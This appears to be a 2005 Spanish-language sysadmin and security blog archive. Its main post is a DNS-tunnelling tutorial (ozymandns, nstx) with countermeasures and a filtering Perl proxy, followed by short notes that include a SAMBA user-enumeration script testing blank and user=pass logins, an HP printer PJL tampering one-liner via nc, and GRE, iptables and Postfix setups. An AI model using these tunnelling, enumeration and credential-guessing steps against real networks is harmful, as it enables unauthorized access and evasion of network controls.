O el tunel DNS. O
J J
OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO-OJO


/ 2.- Requisitos /
+------------------+

Partimos de la premisa de que tenemos un conocimiento basico de como funciona
un servidor DNS y cuales son sus tipos de registros; A, NS, TXT...

Una configuracion tipo, en la que nuestros dispositivos van marcados entre
asteriscos podria ser la siguiente:


[*PC cliente*] ~~ wireless ~~ [ AP ]
|
[ switch ]-----[ server DNS (con acceso) ]
|
[ router ]
|
/\/\/\/\/\
[*server DNS*]-------|Internet|-----[*server tunel*]
\/\/\/\/\/

Por lo que seria necesario:
- Cliente desde el que realizar el tunel.
- Servidor DNS que podamos administrar y en el que tengamos un dominio.
- Servidor tunel, donde correra la aplicacion servidor.
- Acceso como cliente a un servidor DNS


En el ejemplo que se usara a lo largo del texto se usaran los siguientes
datos:
- Server DNS (con acceso): 10.1.2.2, sera el DNS al que tengamos acceso
como cliente y que ha de ser capaz de resolver nuestro dominio.
- Server tunel: este sistema es nuestro y en el instalaremos la parte
que sirve peticiones, es necesario que un DNS pueda preguntarle y para ello
necesita el 53/udp abierto a Internet.
- Server DNS: es indistinta la IP.


/ 3.- Configuracion DNS /
+-------------------------+

Si se tiene claro el concepto de recursividad en DNS y como funciona
no tendria por que encontrar ninguna dificultad a la hora de configurar
el dominio para poder realizar el tunel.

En el ejemplo se va a utilizar el dominio 'digitalsec.net' como referencia.

Editamos el fichero de zona de digitalsec.net, en este caso (fedora core 3
con named enjaulado): /var/named/chroot/var/named/db.digitalsec.net, y se
a?aden los siguientes registros:

t.digitalsec.net. IN NS tun.digitalsec.net.
tun IN A 65.73.147.191

Con estos dos registros lo que se esta haciendo es enviar al sistema
tun.digitalsec.net (65.73.147.191) todas las peticiones que cuelgen de
t.digitalsec.net. Es decir, si alguien pregunta por 'foo.t.digitalsec.net' el
servidor DNS que esta escuchando en t.digitalsec.net (65.73.147.191) sera el
encargado de resolver esas peticiones.

En 65.73.147.191 es donde ha estar el servidor de tunel DNS.

Esta configuracion es comun para nstx y ozymandns. Las pruebas que se han
realizado han sido con bind y todo ha funcionado correctamente, por lo que he
visto en el paquete de debian, con djbdns hace falta parchear para el caso de
nstx. Asi que si no se desean complicaciones adicionales, lo mas sencillo es
usar bind.



/ 4.- Configuracion ozymandns /
+--------------------------------+

Se obtiene el software de su url oficial: http://www.doxpara.com/, en la
actualidad la ultima version es: http://www.doxpara.com/ozymandns_src_0.1.tgz.
Para que ozymandns funcione son necesarios una serie de modulos CPAN,
se puede encontrar informacion detallada de como instalarlos en la direccion:
http://www.cpan.org/modules/INSTALL.html. Muchas distribuciones tienen
algunos de estos modulos como paquetes, por lo que no seria necesario insta-
larlos manualmente y compilarlos.

Los scripts necesarios para hacer funcionar el tunel son: nomde.pl (servidor)
y droute.pl (cliente), las demas aplicaciones incluidas en el tarball son para
otros propositos.

Una vez que se haya terminado de instalar todo lo necesario al ejecutar
los scripts en perl, no ha de existir ningun problema y ha de mostrar la ayuda:

# perl nomde.pl
nomde 0.1: Experimental DNS Server
Component of: OzymanDNS Dan Kaminsky(dan@doxpara.com)
Usage: nomde -l 10.0.1.11 servername.foo.com
Options: -i [ip address]: IP address to host for all A requests
-f [filename] : Filename to host in TXT records [b64]
-p [name] : Name/IP to return for reverse lookups[ptr]
-L [name:host:port]: Forward function to address, port
(Default: sshdns:127.0.0.1:22)


Hay que tener en cuenta que esta aplicacion es una beta y tiene algunos
fallos; la ayuda no se corresponde con las opciones reales y en el caso
concreto del "nomde.pl", el parametro -L no funciona como se espera. Este punto
se vera mas adelante cuando se configure el servidor.

- PARTE SERVIDOR - :

Este es el servicio que se ejecutara en el servidor del tunel, exactamente
en la direccion tun.digitalsec.net (65.73.147.191).

El siguiente comando dejaria lista esta parte:

# ./nomde.pl -i 127.0.0.1 t.digitalsec.net
creating TCP socket...done.
creating UDP socket...done.
waiting for connections...

Esto, por defecto permite hacer un ssh a 127.0.0.1 (es decir, al servidor que
realiza el tunel o tun.digitalsec.net) al puerto 22, esto es teoricamente
modificable con la opcion "-L", pero por un bug no funciona y si se desea que
el SSH se haga contra otra IP y puerto, habra que modificarlo en el codigo
fuente:

Con cambiar la linea 32 de nomde.pl:
"Localforward"=> \$opts{forward}
por la siguiente:
"Localforward=s"=> \$opts{forward}

Tendremos solucionado el problema.

Este comando nos permitira hacer un SSH al puerto 2222 de 82.165.25.126

# ./nomde.pl -i 127.0.0.1 -L sshdns:82.165.25.126:2222 t.digitalsec.net
creating TCP socket...done.
creating UDP socket...done.
waiting for connections...

Por otro fallo el script se "cae" de vez en cuando, para que se vuelva a
ejecutar cada vez que falle, se puede utilizar alguna solucion temporal como
la siguiente:

# while true; do ./nomde.pl -i 127.0.0.1 t.digitalsec.net; done


- PARTE CLIENTE - :

Seguiremos los mismos pasos que en el servidor para instalar los modulos
CPAN necesarios para que la ejecucion del script "droute.pl" no de ningun
problema.

# ssh -p2222 -o ProxyCommand="droute.pl sshdns.t.digitalsec.net" \
aramosf@82.165.25.126

Con esto se realizara un SSH al sistema que se le especifico anteriormente en
el servidor con la opcion -L. Notese que se ha a?adido "sshdns" delante de
t.digitalsec.net. Otra apreciacion es que el usuario y direccion IP solo seran
utilizados a la hora de comprobar si existe llave privada o si el sistema remoto
es un "know host". Si se desea cambiar la direccion destino del SSH ha de ser
en el servidor de tunel (nomde.pl) con la opcion -L.


El script droute.pl si se desea ejecutar en windows, se puede hacer mediante
el perl y el ssh de cygwin, usando los modulos de CPAN. Aunque es posible que
funcionei tambien bajo el perl de ActiveState y con otro cliente de SSH que
soporte la opcion una opcion como "ProxyCommand" del cliente openssh.



/ 5.- Configuracion nstx /
+--------------------------+

Para que nstx funcione es requisito tener compilado el kernel de los
sistemas linux con soporte para ethertap/tun. Tanto cliente como servidor.

Device Drivers --->
Networking support --->
Universal TUN/TAP device driver support


Hay veces que es necesario crear el dispositivo a mano:

# mkdir /dev/net
# mknod /dev/net/tun c 10 200


NOTA: La configuracion de tun0 tanto en servidor como en cliente se realiza
DESPUES de arrancar las aplicaciones.


- PARTE SERVIDOR - :

Se instalara como en el caso de ozymandns en tun.digitalsec.net
(65.73.147.191). Descargar el software desde: http://nstx.dereference.de/nstx/.
La ultima version en la actualidad es: nstx-1.1-beta6.tgz

Como ya se explico anteriormente, es posible que existe un paquete
con los binarios necesarios. En el caso de debian sid, el paquete se llama
"nstx", y con instalarlo con el comando "apt-get install nstx" seria suficiente,
solo habria que proceder a configurarlo en el fichero: /etc/default/nstx.

Una vez descomprimido y compilado:

# tar -zxvf nstx-1.1-beta6.tgz
# cd nstx-1.1-beta6
# make

Se tendran los binarios necesarios para la ejecucion en la parte del servidor,
que sera ejecutado con la opcion para que cambie el UID del usuario a nobody y
deje el servicio en background:

# ./nstxd -u nobody -D t.digitalsec.net
Opening tun/tap-device... using device tun0
Please configure this device appropriately (IP, routes, etc.)
Opening nameserver-socket... listening on 53/UDP

Cargar el modulo de TUN:

# modprobe -a tun

Por ultimo, se configura el interfaz con una IP interna (la que se desee):

# ifconfig tun0 172.26.0.2 netmask 255.255.255.0


- PARTE CLIENTE - :

Realizar el mismo proceso de descarga y compilacion del tarball nstx para
la parte del cliente.

Cargar el modulo de TUN:

# modprobe -a tun

Lanzar el cliente apuntando a t.digitalsec.net y al DNS al que tengamos
acceso como cliente en el ejemplo, 10.1.2.2:

# ./nxstcd t.digitalsec.net 10.1.2.2

Finalmente, configurar el dispositivo tun0 con un interfaz en la misma red
que el servidor:

# ifconfig tun0 172.26.0.1 netmask 255.255.255.0

Con esto ya deberia de existir conectividad con nuestro cliente y la ip del
servidor remoto: 172.26.0.2


/ 6.- Contramedidas /
+--------------------+
Una de las posibles opciones para evitar peticiones CNAME es usando iptables
en el router/firewall con una regla similar a esta:

# iptables -t filter -A INPUT -p udp --dport 53 \
-m string --string "CNAME" -j DROP

Para utilizar "string" en iptables, es necesario aplicar el corresponidente
parche de "patch-o-matic". El problema de utilizar este metodo es la bajada de
rendimientto del sistema, y el gran numero de paquetes que se descartan que son
falsos positivos, ademas, implementar el mismo filtro para TXT resultaria una red
con excesivos paquetes eliminados.

Una alternativa es utilizar un servidor de DNS que no acepte peticiones de la
clase TXT ni CNAME, o que compruebe el tamanyo de la respuestas para localizar
posibles peticiones empaquetadas.

El siguiente ejemplo muestra un script bastante simple en perl que realiza
esta funcion.

--------------------------------------------------------------------------------

#!/usr/bin/perl
# Mon May 16 00:00:44 CEST 2005
# Last version at: http://www.unsec.net
#
# proxy-dns, check lengh of respones and deny TXT records
#
# BUGS: All Net::DNS bugs -> SLOW!
#



use Net::DNS::Nameserver;
use Net::DNS::Resolver;
use Net::DNS;
use Getopt::Long;
use POSIX qw(strftime);
use strict;

my ($daemon, $log, $verbose, $ns, $help, $length);


my $length = 100;
my $log = "/dev/stdout";
GetOptions(
"daemon" => \$daemon,
"log=s" => \$log,
"ns=s" => \$ns,
"length=s" => \$length,
"verbose" => \$verbose,
"help" => \$help);


if(defined($help)) {
print STDERR <<"EOD";
Syntax: $0 [--daemon] [--log ] [--verbose] [--ns ] [--help]
Options:
--daemon : run script as daemon
--log : log all querys to (default: STDOUT)
--ns : use instead /etc/resolv.conf
--length : use of maximum length of reply (default: 100)
--verbose : verbose output
--help : this help
EOD
exit 1;
}



if (defined($daemon)) {
defined(my $pid = fork) or die "Error: $!";
exit if $pid;
}


open LOG, ">>$log";
print LOG scalar(localtime) . " [$0] Starting service\n";
sub reply_handler {
my ($qname, $qclass, $qtype, $peerhost) = @_;
my ($rcode, @ans, @auth, @add, $ret, $r1, $r2);
my $res = Net::DNS::Resolver->new;
$res->nameservers("$ns") if defined $ns;
my $query = $res->query($qname, $qtype);
if ($query) {
foreach my $rr ($query->answer) {
next unless $rr->type eq "$qtype";
$ret = $rr->address if $qtype eq "A";
$ret = $rr->ptrdname if $qtype eq "PTR";
$ret = $rr->nsdname if $qtype eq "NS";
if ($qtype eq "MX") {
$ret = $rr->preference . " " . $rr->exchange;
}

if (($qtype ne "TXT") || length($ret) gt $length) {
my ($ttl, $rdata) = (3600, "$ret");
push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
print LOG scalar(localtime) . " [$0] $qname -> $qclass $qtype " .
"from: $peerhost reply: $rdata\n";
$rcode = "NOERROR";
} else {
print LOG scalar(localtime) . " [$0] $qname -> $qclass $qtype " .
"from: $peerhost reply: REFUSED(".length($ret).")\n";
$rcode = "REFUSED";
}
}
} else {
print LOG scalar(localtime) . " [$0] $qname -> $qclass $qtype " .
"from: $peerhost reply: NO ANSWER\n";
$rcode = "NOTAUTH";
}
return ($rcode, \@ans, \@auth, \@add, { aa => 1 });
}

my $ns = Net::DNS::Nameserver->new(
LocalPort => 53,
ReplyHandler => \&reply_handler,
Verbose => $verbose,
) || die "couldn't create nameserver\n";

$ns->main_loop;

close LOG;
--------------------------------------------------------------------------------


/ 7.- Referencias /
+------------------+

http://www.doxpara.com/Black_Ops_DNS_BH.ppt
http://www.aripollak.com/wiki/Main/SSHOverDNS
http://slashdot.org/articles/00/09/10/2230242.shtml



/ 8.- Control de cambios /
+-------------------------+


lun may 16 00:53:54 CEST 2005
+ Añadido punto de contramedidas.
+ Version en ingles.
+ Añadido control de cambios.

Obtener lista de usuarios de un Windows a traves de SAMBA

Se utiliza la herramienta 'rpcclient' de samba 3, es mucho mas
completa la que tiene el fork de samba samba-tng, pero por
no andar instalandola...

Una manera sencilla de hacerlo es:

---- cut here ----
for rid in `rpcclient -I -W \
-c "enumdomusers" | sed -e 's,.*\[\(.*\)\],\1,'`;
do
rpcclient -I $IP -W \
-c "queryuser $rid" | awk '/User Name/ {print $4}'
done
---- cut here ----
Nota: tener en cuenta que si no tenemos acceso al IPC$ como anonimo
tendremos que autenticarnos usando -U en el comando rpcclient

Para simular lo que hace cerberus nbtdump.exe en linux (ver usuarios sin
contraseña o con user=pass), a modo guarro, se podria usar lo siguiente:


----- cut here ----
IP=$1
USER=$2
PASS=$3

NMBLOOKUP=`nmblookup -A $IP 2>/dev/null`
if [ `echo -e "$NMBLOOKUP"|wc -l` -lt 5 ]; then
echo "Netbios not found"
exit 1
fi

SISTEMA=`echo "$NMBLOOKUP"| awk '// { print $1 }'`
WORKGROUP=`echo "$NMBLOOKUP"| awk '// { print $1 }'`

for rid in `rpcclient -I $IP -W $WORKGROUP $SISTEMA \
-U$USER%$PASS -c "enumdomusers" | \
sed -e 's,.*\[\(.*\)\],\1,'`;
do
u="$u\n"`rpcclient -I $IP -W $WORKGROUP $SISTEMA -U$USER%$PASS \
-c "queryuser $rid" | awk '/User Name/ {print $4}'`
done
if [ $(echo -e "$u" | grep -E "[:alpha:]" | wc -l) -gt 0 ]; then
echo -e "Lista de usuarios:\n------------------$u"
else
echo -e "Lista de usuarios:\n------------------\nSin acceso"
fi

for user in `echo -e "$u"`; do
n=`smbclient -L //$SISTEMA -I $IP -W $SISTEMA -U$user%$user 2>&1`
if [ `echo -e "$n"|grep -E "ACCESS_DENIED|NT_STATUS_LOGON_FAILURE" | \
wc -l` -eq 0 ]; then
r="$r\n$user/$user"
fi
n=`smbclient -L //$SISTEMA -I $IP -W $SISTEMA -N -U$user 2>&1`
if [ `echo -e "$n"|grep -E "ACCESS_DENIED|NT_STATUS_LOGON_FAILURE" | \
wc -l` -eq 0 ]; then
r="$r\n$user/$user"
fi
n=`smbclient -L //$SISTEMA -I $IP -W $SISTEMA -N -U$user 2>&1`
if [ `echo -e "$n"|grep -E "ACCESS_DENIED|NT_STATUS_LOGON_FAILURE" | \
wc -l` -eq 0 ]; then
r="$r\n$user contraseña en blanco"
fi

done

if [ $(echo -e "$r" | grep -E "[:alpha:]" | wc -l) -gt 0 ]; then
echo -e "Accesos:\n---------$r"
fi
----- cut here ----

TODO: mirar de modificar el rpcclient par hacer esto

SpammAssasin + Postfix install

Para instalar sin procmail:
The following assumes you are wanting to use SpamAssassin directly and without
the use of Amavisd.
To get Postfix piping all mail recieved into SpamAssassin for tagging and
sending on to the recipient follow these steps.


As root, create a file at /usr/bin called "postfixfilter", it should contain
the following:
#!/bin/bash
/usr/bin/spamc | /usr/sbin/sendmail -i "$@"
exit $?
Make it executable with "chmod 755 /usr/bin/postfixfilter".
Create a user called "spamfilter" with a home directory and shell.
Make spamfilter the owner of postfixfilter "chown spamfilter
/usr/bin/postfixfilter".
Edit the Services and Interfaces to non-Postfix software sections as follows:
Under the Services section locate the smtp line like this one:
smtp inet n - n - - smtpd

Directly below it CREATE this line, making sure to add the whitespace before
the -o:
-o content_filter=spamfilter:

Under the Interfaces to non-Postfix software section CREATE the following two
lines, making sure to add the whitespace before the flags:
spamfilter unix - n n - - pipe
flags=Rq user=spamfilter argv=/usr/bin/postfixfilter -f ${sender} -- ${recipient}
Use "postfix reload" to make Postfix use the changes. Send a test spam message
to yourself from an outside source and verify that its working.

miércoles, 11 de mayo de 2005

Toolbar para IE

Toolbar para Internet Explorer de microsoft.


http://www.microsoft.com/downloads/details.aspx?familyid=[...]


Esta bastante currada...

sábado, 7 de mayo de 2005

Usar el xinetd para redirigir un puerto (redirect xinetd port)

Se edita un nuevo servicio en por ejemplo el archivo: /etc/xinet.d/redirect

service [PUERTO LOCAL]
{
disable = no
bind = [NUESTRA IP LOCAL]
flags = REUSE
socket_type = stream
wait = no
user = root
redirect = [HOST REMOTO] [PORT REMOTO]
log_on_failure += USERID
}

jueves, 28 de abril de 2005

TUNELES GRE ASIMETRICOS

-----[ TUNELES GRE ASIMETRICOS ]-----
http://demasie.aditel.org/docs/tuneles-gre-asimetricos.txt
http://spisa.act.uji.es/~peralta/

Autor: Luis Peralta / jaxp
Fecha: 6 Julio 2000
Ultima actualizacion: 13 Julio 2000
TODO: sustituir arp por ip neigh


Definimos tunel asimetrico como aquel en el que las dos direcciones
internas del tunel no pertenecen a una red privada, sino a la propia
Internet. Esto nos va a permitir manejar ip's de una red cualquiera
en otra.

Tenemos el siguiente esquema:


/------------------\ Internet /----------------\
|demasie.aditel.org| |spisa.act.uji.es|
\------------------/ \----------------/
eth0: 194.224.81.16 eth1: 150.128.81.246

Y queremos que una de las ip's de la red de demasie (194.224.81.0)
sea una ip mas de spisa.

Montamos el tunel:

demasie-> # ip tunnel add macho mode gre local 194.224.81.16 remote
150.128.81.246
spisa-> # ip tunnel add hembra mode gre local 150.128.81.246
remote 194.224.81.16

Y le asociamos a macho y hembra dos ip's de la red de demasie:

demasie-> # ip addr add 194.224.81.23 dev macho
spisa-> # ip addr add 194.224.81.22 dev hembra

Levantamos los devices:

demasie-> # ip link set macho up
spisa-> # ip link set hembra up

Añadimos rutas:

demasie-> # ip route add 194.224.81.22 dev macho
spisa-> # ip route add 194.224.81.23 dev hembra

Tenemos que jugar con el arp en la red de demasie, ya que queremos que
el trafico a 194.224.81.22 vaya a spisa:

demasie-> # arp -s 194.224.81.22 52:54:05:F5:FC:EB (MAC de demasie) pub

Y con esto hecho tenemos el tunel montado. Todo el trafico a 194.224.81.22
ira a spisa y esta podra responder. El esquema nos queda:


/------------------\ Internet /----------------\
|demasie.aditel.org| |spisa.act.uji.es|
\------------------/ \----------------/
eth0: 194.224.81.16 eth1: 150.128.81.246
macho: 194.224.81.23 hembra: 194.224.81.22

Cuando llegue un paquete para 194.224.81.22 en la red de demasie, este
enrutara el paquete a traves del tunel y spisa respondera a traves de
eth1. Que puede ser lo que no queramos en realidad, puesto que en caso
de que alguno de los routers que atravesemos tenga la opcion de evitar
el "source routing" por motivos de seguridad, el tunel fallara y solo
sera accesible desde la red original. Es lo que se llama ruta triangular:


194.224.81.22 - - - - - > demasie - - - > - - - - - > - - - > spisa-tunel
^ /
| /
\ /
\- < - - spisa-eth1 # ip rule add from 194.224.81.22 table 13
spisa-> # ip route add default via 194.224.81.23 table 13

Ahora hemos desmontado el triangulo y nos queda la cosa:

194.224.81.22 - - - - - > demasie - - - > - - - - > - - - - > spisa-tunel
\ - - - - - - < - - - - < - - - - - - /


luis peralta / jaxp

lunes, 25 de abril de 2005

Procesos "ocultos" en Linux (glibc/kernel 2.6)

El problema de que algunos detectores de rootkits encuentren
como "ocultos" algunos procesos es gracias al cambio de
glibc y kernel 2.6

De:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=222179


That's a bug in chkrootkit. With the latest glibc and 2.6 kernel, the
threading model has changed. Threads no longer show up as individual
processes. Chkrootkit should be updated to work with the latest glibc
and 2.6 kernel (i.e. it should check /proc//task too)

Desactivar la carga del modulo IPV6 en Linux

Se utiliza el modprobe.conf:

echo -e "alias ipv6 off\nalias net-pf-10 off\n" >> /etc/modprobe.conf

miércoles, 13 de abril de 2005

Cambiar el display de una HP

Algo que no sabia que se podia hacer en una HP...

<@jaxp>perl -e 'print "\x1B%-12345X\@PJL RDYMSG DISPLAY = \\
"0wned\"\r\n\x1B%-12345X\r\n";'|nc ip 9100

[root@dns1 general]#

IPTables + FTP en modo pasivo

Connection tracking and ftp

Firstly, you need to load the ip_conntrack_ftp module.

Assuming you have a single-homed box, a simple ruleset to allow an ftp connection would be:

iptables -A INPUT -p tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT

(Please note, I am assuming here you have a separate ruleset to allow any icmp RELATED
to the conection. Please see my example ruleset for this).

This is not the whole story. An ftp connection also needs a data-channel, which can be
provided in one of two ways:

1) Active ftp

The ftp client sends a port number over the ftp channel via a PORT command to the ftp
server. The ftp server then connects from port 20 to this port to send data, such as a
file, or the output from an ls command. The ftp-data connection is in the opposite sense
from the original ftp connection.

To allow active ftp without knowing the port number that has been passed we need a general
rule which allows connections from port 20 on remote ftp servers to high ports
(port numbers > 1023) on ftp clients. This is simply too general to ever be secure.

Enter the ip_conntrack_ftp module. This module is able to recognize the PORT command and
pick-out the port number. As such, the ftp-data connection can be classified as RELATED
to the original outgoing connection to port 21 so we don't need NEW as a state match for
the connection in the INPUT chain. The following rules will serve our purposes grandly:

iptables -A INPUT -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT

2) Passive ftp

A PORT command is again issued, but this time it is from the server to the client. The
client connects to the server for data transfer. Since the connection is in the same
sense as the original ftp connection, passive ftp is inherently more secure than active
ftp, but note that this time we know even less about the port numbers. Now we have a
connection between almost arbitrary port numbers.

Enter the ip_conntrack_ftp module once more. Again, this module is able to recognize the
PORT command and pick-out the port number. Instead of NEW in the state match for the
OUTPUT chain, we can use RELATED. The following rules will suffice:

iptables -A INPUT -p tcp --sport 1024: --dport 1024: -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 1024: --dport 1024: -m state --state \
ESTABLISHED,RELATED -j ACCEPT


http://www.sns.ias.edu/~jns/security/iptables/iptables_conntrack.html

martes, 4 de enero de 2005

Comprobar logs de apache con regexp en perl (common/NCSA)Comprobar logs de apache con regexp en perl (common/NCSA)

teoricamente son correctas en un log de apache:

perl -ne 'print if /^(\S+) (\S+) (\S+) \[(.+)\] \"(.+)\" (\S+) (\S+) \"(.*)\" \"(.*)\"/' file

Y carril